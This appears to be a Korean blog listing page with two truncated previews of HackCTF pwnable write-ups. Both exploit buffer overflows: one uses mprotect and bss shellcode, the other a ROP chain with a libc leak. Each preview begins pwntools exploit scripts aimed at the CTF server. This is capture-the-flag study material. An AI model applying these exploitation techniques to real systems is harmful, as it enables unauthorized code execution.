ROP
-
[HackCTF : Pwnable] Look at me (250p)Wargame/HackCTF 2021. 12. 27. 10:44
[HackCTF : Pwnable] Look at me (250p) 32bit, statically linked 입력받고 종료한다. gets()에서 bof가 터진다. statically linked로 컴파일되어있어 libc에 있는 함수들을 사용하지 못한다. 그래서 이 바이너리 안에있는 mprotect라는 함수로 익스하면 된다. 메모리 영역에 대한 권한을 관리하는 함수다. bss영역에 쉘 코드를 넣고 실행권한을 주고 실행하면 된다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import * # p = process("./lookatme") p = remote("ctf.j0n9hyun...
-
[HackCTF : Pwnable] ROP (300p)Wargame/HackCTF 2021. 8. 31. 16:20
[HackCTF : Pwnable] ROP (300p) 입력을 받고 종료한다. 대놓고 취약한 함수가 있다. 136byte buf에 256byte 입력을 받아 bof가 터짐 이전에 풀었던 Yes or no 문제랑 똑같이 풀었다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import * p = remote("ctf.j0n9hyun.xyz",3021) e = ELF("./rop") libc = ELF("./libc.so.6") pppr = 0x08048509 write_plt = e.plt["write"] read_got = e.got["read"] read_offset = libc.symbols["read..